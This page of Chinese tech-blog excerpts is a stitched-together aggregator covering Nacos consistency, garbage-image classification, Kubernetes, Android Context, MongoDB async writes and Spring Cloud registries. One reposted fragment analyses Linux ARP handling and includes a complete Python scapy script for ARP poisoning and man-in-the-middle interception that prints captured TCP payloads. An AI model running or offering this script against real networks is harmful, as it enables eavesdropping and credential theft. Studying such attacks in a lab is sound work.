... 上述代码中,当我们调用registerInstance方法注册一个服务实例时,这个操作会被Nacos集群以一种强一致的方式进行处理和存储。 3. Nacos的数据更新与同步机制 (1)数据变更通知:当Nacos中的数据发生变更时,它会通过长轮询或HTTP长连接等方式实时地将变更推送给订阅了该数据的客户端。例如: java ConfigService configService = NacosFactory.createConfigService("127.0.0.1:8848"); String content = configService.getConfig("my-config", "DEFAULT_GROUP", 5000); 在这个例子中,客户端会持续监听"my-config"的变更,一旦Nacos端的配置内容发生变化,客户端会立即得到通知并获取最新值。 (2)多数据中心同步:Nacos支持多数据中心部署模式,通过跨数据中心的同步策略,可以确保不同数据中心之间的数据一致性。当你在一个数据中心对数据做了手脚之后,这些改动会悄无声息地自动跑到其他数据中心去同步更新,确保所有地方的数据都保持一致,不会出现“各自为政”的情况。 4. 面对故障场景下的数据一致性保障 面对网络分区、节点宕机等异常情况,Nacos基于Raft算法构建的高可用架构能够有效应对。即使有几个家伙罢工了,剩下的大多数兄弟们还能稳稳地保证数据的读写操作照常进行。等那些暂时掉线的节点重新归队后,系统会自动自觉地把数据同步更新一遍,确保所有地方的数据都保持一致,一个字都不会差。 5. 结语 综上所述,Nacos凭借其严谨的设计理念和坚实的底层技术支撑,不仅在日常的服务管理和配置管理中表现卓越,更在复杂多变的分布式环境中展现出强大的数据一致性保证能力。了解并熟练掌握Nacos的数据一致性保障窍门,这绝对能让咱们在搭建和优化分布式系统时,不仅心里更有底气,还能实实在在地提升效率,像是给咱们的系统加上了强大的稳定器。每一次服务成功注册到Nacos,每一条配置及时推送到你们手中,这背后都是Nacos对数据一致性那份死磕到底的坚持和实实在在的亮眼表现。就像个超级小助手,时刻确保每个环节都精准无误,为你们提供稳稳的服务保障,这份功劳,Nacos可是功不可没!让我们一起,在探索和实践Nacos的过程中,感受这份可靠的力量!
2023-12-09 16:03:48
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晚秋落叶
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...工智能领域的机器学习方法,通过模拟人脑神经网络的分层结构进行复杂的数据处理和模式识别。在本文中,深度学习技术被应用于构建图像分类模型,用于对垃圾图片进行精准识别。通过多层非线性变换,深度学习模型可以从原始像素数据中提取出高级抽象特征,进而准确判断垃圾图片所属类别。 ResNeXt101网络架构 , ResNeXt101是基于残差网络(ResNet)的一种改进型卷积神经网络架构,由Facebook AI Research团队提出。在文中,ResNeXt101作为垃圾分类模型的核心部分,其特点是引入了并行路径机制和 cardinality(基数)的概念,增强了模型的宽度和深度可扩展性,从而提高了图像识别任务的性能。在AI垃圾分类产品中,ResNeXt101网络被训练以识别深圳市垃圾分类标准下的各类垃圾图片。 在线预测服务 , 在线预测服务是一种基于预先训练好的模型,实时接收用户上传的数据(如垃圾图片),并通过API接口或其他交互方式返回预测结果的服务形式。在本文所述的AI垃圾分类项目中,开发了app_garbage.py模块提供在线预测功能,用户可以通过命令行工具或Postman等方式向服务器发送请求,上传垃圾图片后,系统将调用ResNeXt101模型进行实时分析,并返回该图片对应的垃圾类别,实现便捷高效的垃圾分类指导。
2023-02-10 23:48:11
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...NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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Kubernetes
...构建和运行应用程序的方法论,旨在充分利用云计算的弹性和可扩展性。云原生应用设计时考虑到了分布式、微服务、容器化、自动化部署、持续集成/持续部署(CI/CD)以及基础设施即代码(IaC)等特性,以实现高度灵活、快速迭代和成本效益高的应用开发和运营。 名词 , Kubernetes。 解释 , Kubernetes,简称K8s,是一款开源的容器编排系统,由Google开发并于2014年开源。Kubernetes提供了一套自动化的机制来部署、扩展和管理容器化应用,支持跨多个物理或虚拟服务器的部署,同时提供了资源调度、自动重启、滚动更新、服务发现等功能。它通过抽象出一组API和工具,使得开发者能够集中精力编写应用代码,而不是管理底层的基础设施。 名词 , 微服务。 解释 , 微服务是一种架构风格,将单一应用程序分解为一组小的、独立部署的服务,每个服务专注于特定的业务功能。这种架构允许各个服务独立开发、部署和扩展,提高了系统的可维护性和可扩展性。微服务通常通过API进行通信,可以运行在不同的服务器上,甚至可以运行在不同的数据中心或云环境中,支持快速迭代和独立发布。在云原生背景下,微服务与容器技术(如Docker)、Kubernetes等结合,形成了灵活、高效、可伸缩的应用部署方式。
2024-09-05 16:21:55
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昨夜星辰昨夜风
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...可以用来引用变量或是方法,一看就很懵B,所以这里通过例子来详细讲下this的用法。 2.例如下面代码 button.setOnClickListener(new OnClickListener() {@Overridepublic void onClick(View v) {Toast.makeText(TextC.this,"什么情况",1000).show();} 通俗讲,this就是指本类,但在上面Toast中直接写this会出错,因为当前本类是OnClickListener类,而不是我们的主类,如activity(或是mainActivity等),而this就是指向当前类OnClickListener。 3.再如:MainActivity中setOnClickListener(this)中的this指代什么? setOnClickListener的参数要求是一个实现了OnClickListener接口的对象实体,它可以是任何类的实例,只要该类实现了OnClickListener。这个问题中,this它就是MainActivity这个对象自己且用this实现了OnClickListener。 4.MainActivity.this是什么意思? 表示的就是MainActivity这个类对象本来,这种写法一般用在内部类里,因为在外部类中直接可以用关键字this表示本类,而内部类中直接写this的话表示的是内部类本身,想表示外部类的话就得加上外部类的类名.this。 5.在android中this使用的小结: this代表本类的一个引用,this.表示调用本类的某个方法,这个时候通常可以省略this;但在内部类中不能省略,否则编译器会认为是内部类的引用,所以要在this前加上类名. .this 表示本类的引用,通常前面的是用本类的名字表示,当然也可以省略,但是如果是在内部类中一定要加上类名,同时注意:this和static不能共存,就是在static修饰的方法中不能用this. 6.android context是什么 ?从SDK中可以知道 Interface to global information about an application environment. This is an abstract class whose implementation is provided by the Android system. It allows access to application-specific resources and classes, as well as up-cal for application-level operations such as launching activities, broadcasting and receiving intents, etc 从上的描述可以知道context和一下三点作用: 它描述的是一个应用程序的环境,即上下文 它类是一个抽象的类,android提供了一个具体的通用实现类contextIml类。 它就像是一个大管家,是一个访问全局信息的接口。通过它我们可以获取应用程度 的资源的类,包括一些应用级的操作,如启动一个activity,发送广播,接受Intent信息。 7.context家族的关系 8.android context源码简析 8.1Context.java:抽象类,提供了一组通用的API public abstract class Context { ... public abstract Object getSystemService(String name); //获得系统级服务 public abstract void startActivity(Intent intent); //通过一个Intent启动Activity public abstract ComponentName startService(Intent service); //启动Service //根据文件名得到SharedPreferences对象 public abstract SharedPreferences getSharedPreferences(String name,int mode); ... } 8.2 Contextlml.java:Context和实现类,但函数的大部分功能都是直接调用其属性的mPackageInfo去完成 / Common implementation of Context API, which provides the base context object for Activity and other application components. / class ContextImpl extends Context{ //所有Application程序公用一个mPackageInfo对象 /package/ ActivityThread.PackageInfo mPackageInfo; @Override public Object getSystemService(String name){ ... else if (ACTIVITY_SERVICE.equals(name)) { return getActivityManager(); } else if (INPUT_METHOD_SERVICE.equals(name)) { return InputMethodManager.getInstance(this); } } @Override public void startActivity(Intent intent) { ... //开始启动一个Activity mMainThread.getInstrumentation().execStartActivity( getOuterContext(), mMainThread.getApplicationThread(), null, null, intent, -1); } } 8.3 ContextWrapper.java:该类只是对Context类的一种包装,该类的构造函数包含了一个真正的Context引用,即ContextIml对象。 public class ContextWrapper extends Context { Context mBase; //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 //创建Application、Service、Activity,会调用该方法给mBase属性赋值 protected void attachBaseContext(Context base) { if (mBase != null) { throw new IllegalStateException("Base context already set"); } mBase = base; } @Override public void startActivity(Intent intent) { mBase.startActivity(intent); //调用mBase实例方法 } } 8.4ContextThemeWrapper.java:该类内部包含了主题(Theme)相关的接口,即android:theme属性指定的。只有Activity需要主题,Service不需要主题,所以Service直接继承于ContextWrapper类。 public class ContextThemeWrapper extends ContextWrapper { //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 private Context mBase; //mBase赋值方式同样有一下两种 public ContextThemeWrapper(Context base, int themeres) { super(base); mBase = base; mThemeResource = themeres; } @Override protected void attachBaseContext(Context newBase) { super.attachBaseContext(newBase); mBase = newBase; } } 9.Activity类 、Service类 、Application类本质上都是Context子类,所以应用程序App共有的Context数目公式为: 总Context实例个数 = Service个数 + Activity个数 + 1(Application对应的Context实例) 10.AR/VR研究的朋友可以加入下面的群或是关注下面的微信公众号 本篇文章为转载内容。原文链接:https://blog.csdn.net/yywan1314520/article/details/51953172。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-27 17:37:26
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Mongo
...平台文档型数据库,其设计初衷是为了处理大量数据,特别是对于需要快速插入、读取和删除数据的应用场景。它的最大亮点就在于那个文档模型设计,就好比给数据准备了个JSON格式的房间,这样一来,甭管是半结构化的还是非结构化的数据,都能在这间房里舒舒服服地“住”下来,并且表现得格外出色。 二、连接数据库 简单易行 2.1 连接MongoDB 首先,让我们通过Node.js的官方驱动程序mongodb来连接到MongoDB服务器。这个过程其实就像这样,连接这一步呢,是同步进行的,就相当于大家一起整齐划一地行动。不过,接下来的查询操作嘛,通常会选择异步的方式来进行,这样做就像是让各个部分灵活自主地去干活,不耽误彼此的时间,从而大大提升整体的工作效率! javascript const MongoClient = require('mongodb').MongoClient; const url = 'mongodb://localhost:27017'; const dbName = 'test'; MongoClient.connect(url, {useNewUrlParser: true}, (err, client) => { if (err) throw err; console.log("Connected to MongoDB"); const db = client.db(dbName); // ...进行数据库操作 client.close(); // 关闭连接 }); 2.2 异步与同步的区别 在上述代码中,MongoClient.connect函数会立即返回,即使连接尚未建立。这是因为它采用了异步模式,这样可以让你的代码继续执行,而不会阻塞。一旦连接成功,回调函数会被调用。这就是异步编程的魅力,它让我们的应用更加响应式。 三、异步写入 提升性能的关键 3.1 写入操作的异步性 当我们向MongoDB写入数据时,通常也采用异步方式,因为这可以避免阻塞主线程,尤其是在高并发环境下。例如,使用insertOne方法: javascript db.collection('users').insertOne({name: 'John Doe'}, (err, result) => { if (err) console.error(err); console.log(Inserted document with _id: ${result.insertedId}); }); 3.2 为什么要异步写入? 异步写入的优势在于,如果数据库正在处理其他请求,当前请求不会被阻塞,而是立即返回。这样,应用程序可以继续处理其他任务,提高了整体的吞吐量。 四、异步操作的处理与错误处理 4.1 错误处理 在异步操作中,错误通常通过回调函数传递。我们需要确保正确处理这些可能发生的异常,以便于应用程序的健壮性。 javascript db.collection('users').insertOne({name: 'Jane Doe'}, (err, result) => { if (err) { console.error('Error inserting document:', err); } else { console.log(Inserted document with _id: ${result.insertedId}); } }); 4.2 回调地狱与Promise/Async/Await 为了避免回调地狱,我们可以利用Promise、async/await等现代JavaScript特性来更优雅地处理异步操作。 javascript async function insertUser(user) { try { const result = await db.collection('users').insertOne(user); console.log(Inserted document with _id: ${result.insertedId}); } catch (error) { console.error('Error inserting document:', error); } } insertUser({name: 'Alice Smith'}); 五、结论 MongoDB的异步特性使得数据库操作更加高效,尤其在处理大规模数据和高并发场景下。你知道吗,只要咱们掌握了异步编程的窍门,灵活运用回调、Promise或者那个超好用的async/await,就能把MongoDB的大招完全发挥出来。这样一来,咱的应用程序不仅速度嗖嗖地提升,用户体验也能蹭蹭上涨,保证让用户用得爽歪歪!同时呢,异步操作这个小东西也悄悄告诉我们,在编程的过程中,咱可千万不能忽视代码的维护性和扩展性,毕竟业务需求这玩意儿是说变就变的,咱们得随时做好准备,让代码灵活适应这些变化。
2024-03-13 11:19:09
262
寂静森林_t
SpringCloud
...可以不用吗?可以直接调用Service层吗? 1. 引言 在现代分布式系统架构设计中,Spring Cloud 微服务框架以其强大的功能和易用性赢得了开发者的青睐。当我们谈论微服务时,往往绕不开一个重要组件——注册中心。那么问题来了,在构建Spring Cloud微服务架构时,注册中心是否是必不可少的环节呢?我们是否可以直接通过远程调用来访问其他服务的Service层方法? 1.1 注册中心的重要性 注册中心在微服务架构中的角色就像一个中央通讯录,例如Eureka、Consul或Nacos等,它们负责服务实例的注册与发现。当每个微服务启动后,它们就像一个个小员工,兴奋地跑到注册中心那报到,把自己的详细地址(也就是IP和端口)登记在册。这样一来,消费者服务这个“需求方”就可以像查电话簿一样,轻松找到生产者服务这个“供给方”的具体位置了。没有注册中心,各个服务之间的交互将变得异常复杂且难以管理。 java // Spring Cloud Eureka客户端配置示例 @Configuration @EnableEurekaClient public class EurekaClientConfig { } 2. 可以不用注册中心吗? 答案是理论上可以,但实际上不推荐。 - 无注册中心方案:在没有注册中心的情况下,服务间通信需要硬编码或者使用配置中心存储服务实例地址。这种做法在服务数量不多,变动也不是很频繁的时候,勉勉强强还能对付过去。不过,一旦服务规模开始吹气球般地膨胀起来,或者需要灵活调整服务数量时,手动去管理这些服务之间的“牵一发动全身”的依赖关系,那就真的会让人头疼得不行,甚至很可能成为引发系统故障的罪魁祸首。 - 可用性挑战:没有注册中心意味着服务发现能力的缺失,无法实时感知服务实例的上线、下线以及健康状态的变化,这会直接影响系统的稳定性和高可用性。 3. 直接调用Service层? 对于这个问题,从技术角度讲,直接跨服务调用Service层是可能的,但这并不符合微服务的设计原则。 - 侵入式调用:假设两个微服务A和B,如果服务A直接通过RPC或RESTful API的方式调用服务B的Service层方法,这就打破了微服务的边界,使得服务之间高度耦合。如果服务B的内部结构或者方式发生变动,那可能就像多米诺骨牌一样,引发一连串反应影响到服务A,这样一来,我们整个系统的维护保养和未来扩展升级就可能会遇到麻烦了。 java @Service public class ServiceA { @Autowired private RestTemplate restTemplate; public void callServiceB() { // 这里虽然可以实现远程调用,但不符合微服务的最佳实践 String serviceBUrl = "http://service-b/service-method"; ResponseEntity response = restTemplate.getForEntity(serviceBUrl, String.class); // ... } } - 面向接口而非实现:遵循微服务的原则,服务间的通信应当基于API契约进行,即调用方只关心服务提供的接口及其返回结果,而不应关心对方具体的实现细节。所以,正确的做法就像是这样:给各个服务之间设立明确、易懂的API接口,然后就像过家家一样,通过网关或者直接“喊话”调用这些接口来实现彼此的沟通交流。 4. 探讨与建议 在实践中,构建健康的微服务生态系统离不开注册中心的支持。它不仅简化了服务间的依赖管理和通信,也极大地提升了系统的健壮性和弹性。讲到直接调用Service层这事儿,乍一看在一些简单场景里确实好像省事儿不少,不过你要是从长远角度琢磨一下,其实并不利于咱们系统的松耦合和扩展性发展。 结论:即使面临短期成本或复杂度增加的问题,为了保障系统的长期稳定和易于维护,我们强烈建议在Spring Cloud微服务架构中采用注册中心,并遵循服务间通过API进行通信的最佳实践。这样才能充分发挥微服务架构的优势,让每个服务都能独立部署、迭代和扩展。
2023-11-23 11:39:17
36
岁月如歌_
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实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
touch file.txt
- 创建新文件。
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